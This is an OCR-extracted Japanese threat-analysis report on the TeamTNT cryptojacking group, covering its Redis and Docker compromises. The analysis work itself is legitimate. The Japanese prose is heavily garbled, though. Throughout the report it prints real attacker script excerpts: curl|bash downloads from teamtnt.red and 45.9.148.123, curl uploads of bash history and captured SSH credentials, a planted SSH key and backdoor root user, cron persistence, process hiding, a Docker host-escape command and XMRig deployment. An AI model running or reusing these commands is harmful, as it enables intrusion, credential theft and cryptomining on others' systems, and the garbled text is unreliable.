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https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/
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https://twitter.com/hildeTNT
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https://www.trendmicro.com/vinfo/hk-en/security/news/virtualization-and-cloud/coinminer-ddos-bot-attack-docker-daemon-ports
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I IADRERE, load EWDH T TAILAS(CHD setup.sh S TILRO U T ROEITHSIEEDFEL
Jzo SORDUT MME. TeamTNT BMERAT DY —ILF T —>DMDEID 7245 0> 00— RUTEITI D%
BZRIZUFET. COIT7AILICE B 2 (SRIKDIC, EBBCTOXAS MHAMFVTVE T, DOOA>
NMCKDE. CDT7AILIFESZ 1—)L scan/pwn Redis Server Setup TUTz.

HISTFILE=/dev/null
history -c

apt-get install -y curl wget || apt-get install --reinstall -y curl wget
yum install -y curl wget || yum reinstall -y curl wget

/kthreadd" ];then

curl http://teamtnt.red/load/whois2.irc.sh|bash

'|fn t\tlbd’h

2: setup.sh file DERADEIT.CDOT 7 1)UL D Redis H—/{\EXF+ > UTREEITDILDSCII>ELTY MNPV
bia_o

CDROVT SIRINTITDZED—D(E FEDNNAFUNRETESNTVINESIHZFITVITD
ZETY, BEILTOWRWMES(F. TD/\AFUHIC whois2.irc.sh EWS Ty N7y TROUT bz
AO>O0-RUET., COSTILAIUT MK TA A M=)LEanfz/\oFUE. Tsunami )LD
ITVDAAIATY, COXRILITTTDFMICDONTIE [W—IL] OEFEZZSBEULTIZE,

=5(C. =)\ (teamtnt.red (/R BEHTLVB) M5 tmp.min.sh & sysinfo.txt &UL\D 2 DD T
IWRAOUT "G o>0O—-RanEzL. 1 DEDOSTILAOUT MIBRUEYS D ICNAF—%21
S AR=ILU. 2 DEDSTIILROVUT MMIRA MERZINELUE T .
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SITIIROUT hOFD>O—-REEFTFICHNT AOUTNITOCREZRZSELET, EfTEND
STV IR RZER 3 (RUET . TOCRZREIHIC. > TILRAOUT MHY/bin/hid (CERRENE
9. STILROUT bE &FIC/etc/mtab DIE—&RERT D ECELD. TOCRZRUET. &
M. /proc DTFDOTOCADIAINASADECEDITAIFEZIDT> SUET, RIEIC. /etc/mtab T 7
AILEEFS DRIy OU ORI D MR UEOE—TEEZTUET. CNSDFIEE. ps 1
top IRED/proc T7AIVS AT LZDA—0F3ZTOATS LS TOCRZRUET. EEEN mtab
IJ7AINEFIYVITDE XI2RIY NJGFELFEEAN. mount IX> REETLTIYDI> b
RA > hZE—E8BFRRIDE. bind mount NFERENFET, LY 7w I hid S T)LAOUT hZEET
LTz, /proc DFIC proc D7 AILE AT LDRIDA > AF 2 AR I MUET ., CNICEKD. BEX
B, hid >TILAOUT MMCRo> TEITSNET ORI DEENE T,

hidfile(){

-i /bin/hid
#!/bin/bash' = /binshid
echo 'd ar foo' == /bin/hid
echo 'i -e ]; then' == /bin/hid
echo ' mkdir fi' == /bin/hid
echo 'c h SUs E in/hid
echo 'mount oo /proc/%1l' == /bin/hid
echo 'mv fusr/t /etc/mtab => fbin/hid
chmod +x /bin/h
chattr +i /bin/hid
}
hidfile
hid %%
mount -t proc proc /proc

chattr

echo

setenforce 0 2=/dev/null

ulimit -n 50000

sleep 1

iptables -I INPUT 1 -p tcp --dport 6379 -j DROP 2>/dev/null

iptables -I INPUT 1 -p tcp --dport 6379 -s 127.0.0.1 -j ACCEPT 2>/dev/null
sleep 1

mkdir /fdev/sdha 2=/dev/null

mkdir /dev/sdha/... 2=/dev/null
mkdir /dev Jooof.res 2=/dev/null
ROOTDIR="/ / -

X 3ERIBED=H DS TIVROUT btk I 2ty N7vITROUT btz 3>

tDBRE7 D5 -1 Redis A2 AIVRZEET D EZ2BLTEHC By hPYTRTOUT M.
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localhost MSDR— b 6379 TODEHGDH%EZ|FAND iptables )L—)LZBIMULE Uz, e 2D
TILROUT ME BRURENYS D IP 7 RLAZRRT DIzHEBIOND C2 H—)IANDUIITXR ~
ZEITUET,

OB TIE, BRI IS —(HRESN TRV Redis B—/\ZREIDZLCERZBLNTHE
Uiz Y RV ITROUT h& Redis H—/\ETEITENDIRAO— RZEERLUET . TDI—R%E
4 (RUZET. Redis @ FLUSHALL i7Z2FBLT. Ly hPYIROUT &SI O-RTD
cron 23 &ERLUTVET, Cotzy b7y ITXOUT ME, Tsunami 2w h7w T UTULVRL R
ZBRWT, X120ty NP7y ITROUT REFERUTTY,

rm -rf $ROOTDIR/.dat $ROOTDIR/.shard $ROOTDIR/.ranges $ROOTDIR/.lan 2>/dev/null
sleep 1
ec

4: Redis RTO— R&E/ERKR T BI— R

ttw N7wWw T ROUT MZE. Tsunami & bioset h"EITSNTLDINE DI ERHERLE T, EITNTLY
358, AU NITOCREZBEH LT, hid>TI)ILRAOVUT MO EIERRICLET., N
SHAETINTULRWNES[E. 40> 0O0—RUTHSHBULIERRICUET,

RN R & 12 DMD Redis H—/\ZRDIFB128H(C. BREI7OS—(& pnscan ZEAHUEY, v b7
IROUT ME, AFvrFDOY—-XO—R=Z25F7>0-RUTCOZNAIILLET. RFvFE
/usr/sbin/dbus-daemon (C 1> X b—)L] eNFET, 5 1 DO TILRAOUT T o> 00— Re
n. XAFv>&. BDOHM o7z Redis H—/IADRAO— ROREEZYVELET, IRNTDRT—0D5
J>O—-REEBNTTIDE. BY MFPYITRTUT MMIBRUIRI M SBEZHIBRLET,

DDoS /RY b2y 7Py

ZDZTIVROYUT MME TsunamiDDoS Ry bSO >O—-RUTA>AM=)LUET ., ZDRTY
T & ROUT R root EUTERITSNIENEDIMNCEDWT, N1 FU% 2 DDERBDIGFAICA >
AB=JLUFET (B 5).root & UTEITESNIHZE. YLD T I7(F/bin/kthreadd (1> X b—)LEn.,
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https://redis.io/commands/FLUSHALL

TN DBE(E/tmp/.tmp (CA A R=ILENET ., WILITTTFZEA A M—)LIBEIC. ROUT
NMEIIARTD iptables FT—>ZTS5wv> a1 UTHIBRLU. #BHa< C2 B—/)NCEHETETDILDICLE
3_0

installroot(){

if [ -
echo "vorhande

rm - %@

else

freeiptables

wget http://teamtnt.red/load/whois.irc -0 /bin/kthreadd
chmod +x /bin/kthreadd

/bin/kthreadd

chattr +i /bin/kthreadd || fusr/bin/chafix +i /bin/kthreadd
rm - %0

}

installtmp(){
if [ -f "/tmp/.tmp" ];then
echo
rm - $©
else
freeiptables
wget http://teamint.red/load/whois.irc -0 /tmp/.tmp
chmod +x /tmp/.tmp
Jtmp/.tmp
chattr +1i /tmp/.tmp || /usr/bin/chafix +i /tmp/.tmp
rm -f $©

X 5: XU ~E. root {EBEN B BIBE. Ry MEbin O FICAVAM=ILUET ., TNUSDIBEL. tmp TAILF(C
A2 A R=ILENET,

S AT AICET 3Rz UINEE

J7 1)L sysinfo.txt (. TFEARIT7ZAILICBERENTVWEIN, LY hPYTRIOUT MMIELDTE
TENBZTILROUT T, ROUT ME—VS > TEHEERTENDIHBES(CHmA T, [Ovo]
T7AILMERRENE T, ® 6 (X, OvIT7AILDOF TV IDNRFERLTVWET, OvIT71I)L
NEFEIDHE AVVUT NIRRT T UE Y., IO TEITSNDHEF. ¥ (CRTDIBIROUNE
ZRIALE T, K6 (C(E EATTERER RAM ZRE T DIeHIERAETNDIOZY IERSNTULVET,
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mount proc /fproc -t proc

thelockfile=. removelock
fusr/bin/$thelockfile” ]

'Server bereits in der DBs vorhanden!

Jtmp/$thelockfile” ]

rver bereits in der DEBEs

> = Jusr/bin/$thelockfile
> > Stmp/$thelockf
/biny.sclock
$2,%$3,%4}' > $tempfile
inforam="sed -n '2p' $tempfile
rm - $tempfile
6:YI2DIRFTABRN T TICINESNTVNBINE DI EHERIT DI IUT hD—E, TS TRVEE(E. EHT]
B872 RAM ZHUS U E 9.

CHDRIOUYT BT ROUT hZEITLUTVWDII—TDI 5%, CPU ORE. I > DORENRRE.

32 Ew b 64 Ew b\ CPU VD, ED Linux T4 ARNJE1—23 >R EBIRELFET, &
DFEWREFIANT. B 7 ([ERT wget IV RZENULT. BRI OY—DY—/)NTEE=NFIT oY
ThITIDE BNEBZHIKRULET.

am=$inforam&
re=$numberofcoresé

-q -0 $tempfile

M 7R MERE 7O —DER I Y —/UTH

SSH 2SR ERMENIS
s_poor.ssh.sh = TI)LAOUT NIty PV ITROUT MCKo>THDI>O—REn. 8 (TN
TWBIT7AILEEBDOA> MMCKD E. SSH SZREHBIRZ ZDTeHITFERINTULET,
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NEEDFILEARRAYAPT=(" £
NEEDFILEARRAYYUM=("wget"

mainapp(){
installneed
checkkeylogerinstall

installneed(){
cat /etc/os-release | grep -vw grep | grep "rhel" =/dev/null
[ $7 -eq 0 ]
then
installviayum

= =

installviaapt

}
8: SSH FREIBIREBAES 1 —)L EEDOA> ~

COEZa1—)UE strace £ TIL - TA UV REBHEDE TERL., EEZELRULET, cron>37
ZEALT, OJI7AINEBRT V5 —NWEEITZIY—/\(C7vITO-RUET. M9 (CERSND L
S(C. RAOVUTNMINS> LD root I—HFEIARTOBEL—HD bashrc T7A)LICTA U7X -
—RZEMUET. CO®. I—IN SSH ZERALTRIDYE > (CIEHR D &, strace MERASNTY
D74 EF4OT T 7AILICRFBENFT. M9 (CBIMESN TS cron 3T(@. 59T & TV
O—RROUT hZETUET.
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chattr -1 / ontab 2
=/ crontab 2>,

cat ] '“*/5 # * * * root bash fusr/bin/: config") | crontab -
chattr +i /e
echo "#/5 * * % ¥ onfig" | tee -a /fvar/spool/cron/rootsyshealt

r file in fhome/*

if test -d $file; then
if [ -f $files.bash
chattr -1 sfile/.

9: strace Z 4T UJz SSH FRELEHRODOURE., O T 7AIUIE. cron>3aT=NLTs5HTECT7vIO— REnxEd,

10 (CRTELDIC, 7w ITO— RAOUT NMILBWNEESETY, O I 7 AL FEEITINE D EF
TVvOULEYT., O T 7AILHIEET BHBE. HIBRSNDHEIC curl 2 ERLTCI7ILE27YvIO—R
UEH

if [ -f

curl -F ' ot g" http://teamtnt.red/up/index2.php 2>/dev/null

if [ -f

curl - erfile=@/usr hp .. log" http://teamtnt.red/up/index2.php 2=/dev/null
rm - fus /

exit

10: strace O DRV T h=F7vwIO— R

REITIEHICHMDYS >ZAFV >

ttw NPV I ROUT MK TH D> O— REN/z dbus-config 77 1)L, Redis TOXFOA b~/
AFv2EZ2-ILTY. M1l (TRI KD MATICHD>O-RUTO>2/\AILUTE pnscan Z{EH
ULTWET, COEZ1—ILIE IPv4 AR—X2Hh%Z X+ > UTID Redis B —/\ZELF T, FlDY
—)\RRBDOMdE. Y32 kD Redis 951472 hZERALTRAO—-RZXELEFRT. UKD,
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BAINCY-EXRE Yy NPV TROUT bSO O-RFBcronTadzty K7y T UEY,

h $h --raw
h $h -a redis --raw
L/ - -a root --raw
< $RO
andup

11: Redis X7 > #EE

12 (TRFIKD(C. BREBRIZ7OY—NHHTT—/NIC7vITO—- RenFzT,

rescleanandup(){
UPFILE="$RO0OTDIR/results
cat $SROOTDIR/.res/.r*l =

if -5 SUPFILE ]
-F "userfile=@$UPFILE" http://123 193.119/.../up.php

SUPFILE
SROOTDIR/ .res/.*

- $UPFILE
-T $ROOTDIR/.res/.*

B 12:2F v VEREBR 7 OS5 - DT Y —/Nc7yTO—- R

DUITRIAZ=>D

tmp.min.sh > TILAOUT hDOERAEF. XA 2P0 TOCRADEKETT ., X1 F—. TAVFRwY
J70tR. KEIT7AINE2FI>O0-RUET. CO1>AM=)UEE. S TILRADUT ST root
RN D DINEDIMNCEL O TERDET, HERNHDDIHBE(E. root sREZEITI DeHC 2 BBDRT
=D O-RENTETESNET, TOITRWNES., ROUTNEIT71I)LESFD>0O0—-RULT
tempT A LU RNJCACRAM=ILUET, KEF BEURA R EC—RICIRDLD(CEEENZE
9. J—H—ID(F ROUThZFRITIBDI-TOI-TFRHEIZDEITEDNTUERENE T, £
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ENBYAF—I(F. XMRigCC &£IF(END XMRig DIA—TTY, XA F—ZHHTDIzH(CERTE
2V aMR— RZERHUFT. REEETERASN/ZOY> R4 —(380.211.206.105 (CH D FE
Lz

Watchdogd 2’0t X

watchdogd /\1/FU(E. C++TRRBRSNIZEMRI7 TS —23>TY, I— ROBFHASTZR 13
(CRUET ., ZOH—DENIE, XA F—NEITESNTVBREZHRIDETT ., N IL—T%=
BALUT libc DS RAFLABEBZEFUHT CECL>TITONET . JOCRMETIDE. SATALN
DFGHUMMEDRENET .

watchdogd

Family:

13 : watchdogd /\-f -UdD1— REFIB##RT

NarrenKappe(FL >hwvNR)

NarrenKappe (&. R-\VEETE{LEAIDIEFORKTI N, XU UT M root LNILDERNS 2155
(CETSNBNAZ2TY hNFPYTROUT KT, ERAEVZSH, BEDODI-—HEUTETIDL
DENSDHDENIZ O3 >2RTUERT,

F9. IAVFRYITOCANETENTOINEDINZFTVIL. LY NPV T ZETUET. €
STRITNE, UBIDRBRICKDENT 7AILINR S > LICFETINE DM EFITVIL. TNSZHI
BRUE T, LT Y2 LEDIARTD cron 3 TZHIBRLET . B 14 DINY> RZEFED T, DR
ZE—iwWUELDELFT,

TeamTNT [CLBIUT hrZ>JogsmtEm  15/81 ©2022 Dai Nippon Printing Co., Ltd. All Rights Reserved.



cleanthesystem(){

crontab -r 2=/dev/null
echo " = jetc/crontab 2
rm -rf /var/spool/cron/:

rm -f Jetc/cron.d/ -R dev/null
mkdir /fetc/cron.df 2= v/null
rm -f /var/spool/mail/root 2=/dev/null

pkill -f curl

pkill =T wget

pkill - /tmp/
pkill -f aliyun.one

cp /etc/bashrc /etc/bashrc2
grep -v "“({curl" fetc/bashrc2 = fetc/bashrc
rm -f Jetc/bashrcz

B 14:2 X7 LDV =Ty T (ERENDIT R

15 [ERFIKDIC, ROUT ME BHIR—bENTVBREDICIELT 64 Ev hEE 32 Ev hDY
AF—=57>0-RULET,

unloadfiles(){
if [ "getconf LONG BIT =
then

wget http://teamtnt.red/load/

chmod +x /fusr/bin/watchdogd
chmod +x fusr/bin/xmrigMiner

chattr -1i / /bin/config.json 2=/
chmod 777 fusr/bin/config.json 2=/

}
M15XA >0ty b7V ITROUT hTERESNZY D> O0—- REA A M—ILOFIR
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NAZDDDFREF. BRUIRA MO—BO#BFESVXIICEESNF T, COOPvI%ZH 16
(CRUET,

makejsonconfig(){

rm -f fusr/bin/config.json
wget http://teamtnt.red/load/config.json -0 fusr/bin/config.json

MINERMAMETAG=" 15T"

MINERHOSTTAG=S

MINERUSERTAG z

MINERFULLNAM="$MINERNAMETAG" "$MINERUSERTAG" "$MINERHOSTTAG" "N3W"

mv fusr/bin/config.json fusr/bin/configl.json 2>/dev/null
sed s/HOSTNAME/$MINERFULLNAM/g fusr/bin/configl.json == /fusr/bin/config.json
rm -f fusr/bin/configl.json 2=/dev/null

}
16:XA =29V T NI T T ORI 7 A VA MER CEET BIepDOS w2

CDROVUT NI RS ABEH NEBESCTOCANBUMIEESNDLDICUET . ROUT
(F. SASFATHERENTUVBDEDICIKHU T, System V init XU T hEfz(E systemd BH—E XD
INHZEINLET, WINHD/AXATEITESNBD IV RZR 17 (ORUZET,

startupserviceinitd(){
echo "init.d Script wird ers Lt und installiert!!!
mv /us dogd.initd /etc/init.d/watchdogd
chmod +x /etc/init.d/watchdogd

update-rc.d watchdogd defaults || chkconfig watchdogd on
service watchdogd install

service watchdogd start

fetc/init.d/watchdogd start

}

startupservicesystemctl(){
mv fusr/bin/watchdogd.service /e f /system/watchdogd.service
chmod 644 /etc stemd/system/watchdogd.service

systemctl --system daemon-reload
systemctl enable watchdogd. '
systemctl start watchdogd.service
sleep 2

systemctl status watchdogd.service

}
17: System V init XU h&ETz(& systemd —E DWW SN EEINT BizsbDT— R
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1B E(CRITESND cron 3T ZEMI D ET, H—EXNER(CEITEINDIRLDCRDTVE
9 (X 18),

" => fetc/cron.hourly/Banacron

' »> Jetc/cron.daily/logrotate

18:cron 3T (1 BREIC & (CERITESNET

CDROIVT NE A ZITOCRDEE(CINZ T, Redis BH—/\ZXF+ > L. punk.py EFEEN
DEABOYV—)LEY D> O— RUTEITLU. SSHF+—. bash [BFE. BIFD SSH /R . /RA KT 7
AN EBHFEITRIDOR OIS SERBULET,

IR TODORIFDHIBR

cyo.sh ROUT K& DA VFRYITOCINIT TICETEINTWVWDREE. X120ty v
ROVUT NMCRKDTEITEINE T CORTUT NI 2> LOOJZEEET DIeHIfERENET.
F9. JOtRZIEXRRICL. CEBCERRENZOTOU—F—EFI>0O-RUET, K19 (TRT
KDIC. root 1—HD bash EEZBRI VS5 —DH—/)\(C7vT0O—RIBEIC. 1—H reboot.
hilde. B&T.ro0t DOTHEEETNZET,

Jusr/local/bin/logs -u reboot
Jusr/local/bin/logs -u hilde
fusr/local/bin/logs -u .r@et

curl -F "userfile=@/root/.bash history" http://teamtnt.red/up/bash history.php

systemctl status watchdogd || service watchdogd status

history -c
> /root/.bash history

19: 3 DDI1—HT7H DT> bDOOTEZEE root 1—H D bash BFEDIMH

Folgen Sie dem Semmelbrosel (J\>><KFUXBMIHDTTFEW)

COWEIEE(ICTFEIEUEIBHREZFER LT, UaID@E#$ER DT ENTEH U, COWEIEE TER
=NJz rathole J\1FU(E. B<E 2019 4 10 AIC VirusTotal (C7wvO— Ranzx Uiz, K20 (&,
EREDODAD—->>3v hTY,

History

First Submission  2019-10-06 11:24:02
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https://github.com/r3vn/punk.py

20: VirusTotal A®D rathole /- U ORAIDISTE

RAFT—DT7—=HDATCEENTVELUEN, COREERTIIERETNTWRWROUT NI 71)L
(ClE. 116.62.122.90 (CHBDH—/)H'5 punk.py &5 D> 0O— R BHENSENTLELE, D
IP (&, 2020 £ 1 AI(C VirusTotal (C77v JO— R&Niz ash.sh EWSSTILROUT KT 7A)LTS
BN TLWBZEM/MOMDFELUZ, CNUE CORBEETHRREINIZED EIFBICI LUtttz im=R
TWEYT, J7MILRDIA 7D hEnNiz47(d. URL http[:]1//3[.1215[.]110[.]66/src/bioset %=
SRBRUTWET, c5(C. TORTYUT ME SSH #ZEMU. /{XDT—R gard T hilde EWS1—H
ZVERRLETS (K 21),

echo 'ssh-rsa AAAAB3NzaClyc2EAAAADAQABAAABAQDIzBO9hz7bNT6qtQKCMcitaaxEB9RYIEZuumE+gUMrhéhg3ccs
MgoqnAlS /Lmw5SWWLIQXMBSWuhclPIsVawuP+pfsm1ZiGF2InczEWSkBwio5F1/6WOV1p9MOaXHAbpi7o/5Zauu3lTkty
IWUP5R91/2pUWCFZINnalor IKNtCBPLisNYbZ4FWAQVGWXZUWZ fZE7SYIoOUM3EILhPPiTulegUmIZCc7TZrnENSM3UBK+L
VFye+wDeSC3WNYwF jGQIA4aFsANO1z8901h77G7IaDR8LghNTfVVkRjal6onDZwb2CZWSivkFsdYtL6690S48Teqoes Twk
Judo9Qxsn9wxNv HildeGard' > froot/.ssh/authorized_keys

echo '*f15 * * * * cyrl -fssSL http:/f116.62.122.90/sh.shfash.sh|sh' = [fvar/spool/cron/root

echo '*/15 * * * * curl -fsSL http:/f116.62.122.90/sh.shfash.sh|sh' = fvar/spool/cron/crontab
s/root
echo "*f15 * * * * cyrl -fsSL http:/f116.62.122.90/sh.shfash.sh|sh" | crontab -

useradd -p /BnKiPmXA2eA(Q -G root hilde 2>/dev/null
usermod -0 -u @ -g @ hilde 2=/dev/null

21: hilde I—HY%/EmM L. SSH#EZIEMT B 2020 F 1 BO> TILRIUTS
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<2020 fF &>

2020 F 5 A 6 HIC AL R/ oOMNHRE UIeL DT, F—LA TNT (& Docker 7 —E > 7R— i
EL. ENSZBRAULTOUTRRAZ2IRIVIT T E DDOS NILD T 7%= A > A M—)LUFE U,
N WSHLUFID Redis B —/)\DIENNSD#BITTH D, T Uz Docker 7 —E > 7R— hZEREH
(CU. ENSZFERALUTIIINLID T 7ZIL U C EZ2RI RYDONE b ENEEHLE BOonE g,

AIDEVEH & FHR(C. TIL—T(FEHDS TIILA O VT haER L THEZEITUE Uz REDID
U mxutzh.sh (&, Alpine 1 X—=HS 25 F &M T D EICK > TREZT — A MSYT T
BDIZHIFERAESNE T, AFFHRE#MIDE. RU1—AMEEZERAL T, IRXA NS XFLAD root 7
7AW AT LA TFARAD/Mmnt (CRIT> RUET, CNICKD. O>FFAD root I—HI(E, 7R
AR >2Droot THRINDEDICIRA NS D ZEBETEET ., I>T7FH(&E BIDRIUT K init.sh
ZAIO—RUTCETIDLDICHESNTVNE T, CORIUT MME WDHDS TILAOUT b
A2 O—-RUTETUET,

BREDHDHEZSY D>O—- RUTRITIDRIVT MMERENTWSEed, A FUAA—=2(C(F
ROUWEDPBEEDHDIBONEFENTHEST ., /A FUA AT FIREDFEFNFEITY —ILT
(FRE SNz, REFAZEE TS ENTETT.

ADROBD ., I>FF@RA DI 7 AILZAFT AT hEnTWBzd. RTUT MIMA S ET
EITESNFE T, init.sh (CE MBOYAF—DHIBR. BIEY—)LOVUT MRAZ2IILDTTDA>
A=), EEERIMORE. MMOWEENDILEVS EDHEENRE SN TNE T . UEIOKE(FR TEE
UFENS fEONTNE U,

. J ’ I y y

Marrenkappe sh Chean sn SEIUP DAaSICS 5N

Setup myloys 5n setup xmrig.curl sh

k4 h J ¥

A . . "
Sysinio dns an.ssh kinsing.sh

22: CDWEEH TRITSNIER I U T ROBIE (Trend Micro (C K BERBA)
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mxutzh.sh

http="'/v1.16/Vv output
for ipaddy in ${!rndstr}

echo "$ipaddy:$prt”

time docker -H tcp://$ipaddy:$2 run --rm -v /:/mnt alpine chroot /mnt /bin/sh -c "curl http://45.9.148.123/COVID19/init.sh
sleep 120

kill "$!"

10r ;

ki
vhile true

'$1" 2375 50000
'$1" 2376 50000
'$1" 2377 50000
'$1" 4244 50000
‘$1" 4243 50000

23: mxutzh.sh DX U—->>3v b

23 [TRENTUVDB K DIC, mxutzh.sh (F. HEEBDYZ NS IP 7 RLADER TEIHZEISLUE
9, masscan EMENDIA -T2V -V —ILZERALT. RTUT MIBFIERSNIZR— bDUXR
X+ UET. OB ZGrab ZFEAL T, Docker B—EXN/R—hTUY > LTLDH
EDNZE#BILET ., ZGrab (&, Censys.io MDEE(ICWVWBIHRE (CK> THERRENTEA—-T >V —-XD
7IU—2 32 RF v FTY RDOMD7ZIARTD Docker H—EX(CDWT, RATUT MMIEH U
MR—bZFEALT, Alpine A X=HSFHUWISFTFZEKRULET . bind XV Y REFERALUT. #®E
BEDIZ>Droot T« LU NUNIAZFTFI7AILSRAFTAICR D> hENFT, init.sh ROUT bz
AO>O—-RUTEFTIDSTILAND KRG DT FHMEREND EI<IC sh 2 T)LZFERUTET
SNBDELDICHESNTVET,

Init.sh
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https://github.com/robertdavidgraham/masscan
https://censys.io/

t PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/usr/share/games:/usr/local/sbin:/usr/sbin:/sbin:/root/.local/bin:/snap/bin:/us
/etc/cron.hourly/COVID19* 2>/dev/null

/etc/cron.hourly/SARScov2* 2>/dev/null

/var/spool/cron/COVID19* 2>/dev/null

/var/spool/cron/SARScov2* 2>/dev/null

/var/spool/cron/crontabs/SARScov2* 2>/dev/null

/var/spool/cron/crontabs/COVID19* 2>/dev/null

-a curl
return_curl=$?
f [ $return_curl != @ ]; ther
apt-get install -y curl; apt-get install -y --reinstall curl || yum install -y curl; yum reinstall -y curl
apk add curl

curlbin="w
which -a bash
return_bash=$?
[ $return_bash != @ ]; the
apt-get install -y bash; apt-get install -y --reinstall bash || yum install -y bash; yum reinstall -y bash
apk add bash

curl http://45.9.148.123/COVID19/sh/clean.sh | bash

curl http://45.9.148.123/COVID19/sh/setup.basics.sh | sh

curl http://45.9.148.123/COVID19/sh/setup.mytoys.sh | sh

curl http://45.9.148.123/COVID19/sh/setup.xmrig.curl.sh | bash
curl http://45.9.148.123/COVID19/nk/NarrenKappe.sh | bash

curl http://teamtnt.red/sysinfo | bash

nohup curl http://teamtnt.red/dns | bash >>/dev/null &

nohup curl http://45.9.148.123/COVID19/sh/lan.ssh.kinsing.sh | sh >> /dev/null &

24: init.sh XU —->2 3w ~

init.sh XZUZ k&, "COVID19"&"SARScov2" &UL\VS ELRID cronjob ZHIBR L. curl & bash HY-1 >
AR=ILENTVBINEDIHZEIERLET .. 1> A h—=ILENTULRWES(F. RO UT hieEnSZ A
SABR=ILUET, RIS, CORTUT MME. HEDTZSHDZDMDMEEE SO RO T b o> 00—
RUTEITUET,

A>3 F(3/bin/sh = )L (mxutzh.sh TEE) THERSNE I JIL—T(F—EDXTUT ~(C bash
ZEAL. ORIV T MM sh2 o)L EFERAT DI EZRELIELDTT,

VirusTotal T URL http://45.9.148[.]123/COVID19/init.sh ZHAEBLZE S, L > RYMo0O%
MLR— bhZFREKTDH 1 4 HFID 2020 £ 4 A 30 BIZRE ESNZBID init.sh D7 1IILERRLEL
Jzo LIR—BDRERT, T7AIUIC(E 4 DORENSBDFELU.
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http://45.9.0.148/

:Ii 4 security vendors flagged this file as malicious

-y
4

5c488d9d68201859cde5Tbed147cie584a603152653d12e7200897d160c41810 37.83KB 2020-04-30 21:48:04 UTC
nit.sh
x v
DETECTION DETAILS RELATIONS BEHAVIOR CONTENT SUBMISSIONS COMMUNITY
Antivirus results on 2020-04-30T21:48:04 ~
AhnLab-V3 (D) Downloader/ShellElfMiner.51114 ClamAv (D) Unix.DownloaderRocke-6826000-0
Drieb (D) Linux.BteMine.406 Microsoft (D Trojan:linux/CoinMinerCIMTB
Ad-Aware () Undetected AegisLab () Undetected

25: 2 BB® init.sh D 71 JL®D VirusTotal XU —>>3w b

HES3—DD init.sh RTUT ME. FIULWVEREZEERZE LU TOWERAN, BRBRATA T RAA>
(http://kaiserfranz[.]cc) ZFERULTWLET, 2020 E 3 A 10 BICEHRKESNERAC > ZFERLUTLY
ia_o

BASEURL2
nohup curl : . d31/init2.sh|bash &

setenforce @

echo SELINUX=di

sync && yroc/sys/vm/drop_
crondir=", cron/ " "$USER"

i

26: 2 FEB®D initsh J7 ()LD O U—->2 3w ~

CDTI—TM, ROUT DS T7>0— RIERLIZ URL O—3B(C“COVID19"ZSA TWEC &I
FIKE\NC & T, mAD init.sh X27J T MY VirusTotal (C77w 00— RENfzd(d. 2020 4 A 30
HDZ&ETUZ. CDE. COVID-19 D/ FZ v O FERPTRRICLAED. FENOVIFIIC
ADFEUR,
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Daily new confirmed COVID-19 cases

Shown is the rolling 7-day average. The number of confirmed cases is lower than the number of actual cases; the
main reason for that is limited testing.

12,000
10,000
8,000
6,000
/" United Kingdom
4,000
India
2,000 Noa Spain
S AR Canada
N 5 France
= & . Germany
0 e il . Israel

Mar 1, 2020 Mar 11, 2020 Mar 21, 2020 Mar 31, 2020 Apr 10, 2020 Apr 20,2020 May 1, 2020
Source: Johns Hopkins University CSSE COVID-19 Data CcC BY

27:2020 & 3 BH5 5 BETOEBHDFZ(CHEZR SNz COVID-19 GEHFIDEL.
HH : Our World in Data

—BBDBRL VT —(F. COBHZEFIAL. AR/ FZvOICEET DIEHRERDTNDS
E'HDO T, TNZ T4 v 2 OEMDT—XEUTHRALUBHE U, 2B, TCOVID-19] EWSE
EZFEO>TNBRIEICDVTIE. COUIIL—THMBICEEZETD &ELTULRWS ENS. BEIEHEiD—
RTHINEDMNIAATT,
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Clean.sh

chattr
tntrecht -1
rm -fr /top/*
rm -fr /tmp/.
chattr

pkill -f kinsing

ps auxf|g
ps auxf|g
args -1 % kill -9 X

I % kill -9 %

name

-f pippip

[ -name

pkill -f kswapde

28:.clean.sh XU DR OU—->3 3w ~

CDRIIT NI, DoV T "1 F—DT O ZEHIET U, tMDBR7O5—HMERT S cron
3T ET7AINZEBRL. NIVDTPZFERTIDATF=HIBRLU. apparmor IREDERPT—EX
EEHICUET,
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DNS

mount -t proc proc /proc
if [ -f fusr/share/.worki

. $REASON"

tntcurl="

tntwget
tntchmod="whic

$tntwget http://teamtnt.red/load/dns3 32bit --quiet -0 fusr/bin/systemd-repair $getmute
fi

echo "second Bot wird installiert”
$tntchmod +x /fusr/bin/systemd-repair $getmute
fusr/bin/systemd-repair $getmute

29:dns XU ~DRO)—->2 3w ~

init.sh XOUT K~ dns EWDSERIDBIDORA I T hEETUET ., HEEDS AT LDT —F50
Fv(CEDNT, dns3 (DHADU> D) EMFEENDY—ILAP D> O— RSN, systemd D—EF& L
THREENFET, I— ROBMRICEDWVWT, ZNUE Tsunami T3, 32 Ew M{—==3> & 64 Evw MK
—23>MHn. E55M)\—-23>2F 2020 £ 4 A 19 HIC VirusTotal [CiREENFE Uz, FEHICD
WTlE TW—IL] DOIEZEHERLTIES0N,
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https://analyze.intezer.com/files/07377cac8687a4cde6e29bc00314c265c7ad71a6919de91f689b58efe07770b0

07377cac8687a4cde6e29bc00314c265c7ad71a6919de91f689b58efe07770b0

ean
ed by tru

Genetic Analysis

Genetic Summary Related Samples Code (467) Strings (3,180)

v TeamTNT

v 8220 Gang

Malicious Library

libFFmpeg

30:Intezer Analyze TD dns3 DRI J—->>3w

DRI UT SADiER

C OB D init.sh XOUT MIHRK TS IP 45.9.148[.]123 (&. 2020 £ 5 A 2 HIC
vps.teamtnt[.]red (CEBIFEREN. AS>FICAIELTUWLEY, VirusTotal (CKDE. ZDIP 7 RL
A(IZ<DBEDHDRAIUT MCEAELTED. ZDIED 2 DOI7AIUE. RAA&FRDH
[CIRE &Nz lan.redis.pwn.sh &, ZOEHBR&(CIREENZ 2 DBED T 7 1)L minion_worker.sh T
ER

lan.redis.pwn.sh
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https://analyze.intezer.com/files/07377cac8687a4cde6e29bc00314c265c7ad71a6919de91f689b58efe07770b0
https://analyze.intezer.com/files/07377cac8687a4cde6e29bc00314c265c7ad71a6919de91f689b58efe07770b0
https://analyze.intezer.com/files/07377cac8687a4cde6e29bc00314c265c7ad71a6919de91f689b58efe07770b0
https://analyze.intezer.com/files/07377cac8687a4cde6e29bc00314c265c7ad71a6919de91f689b58efe07770b0
https://analyze.intezer.com/files/07377cac8687a4cde6e29bc00314c265c7ad71a6919de91f689b58efe07770b0
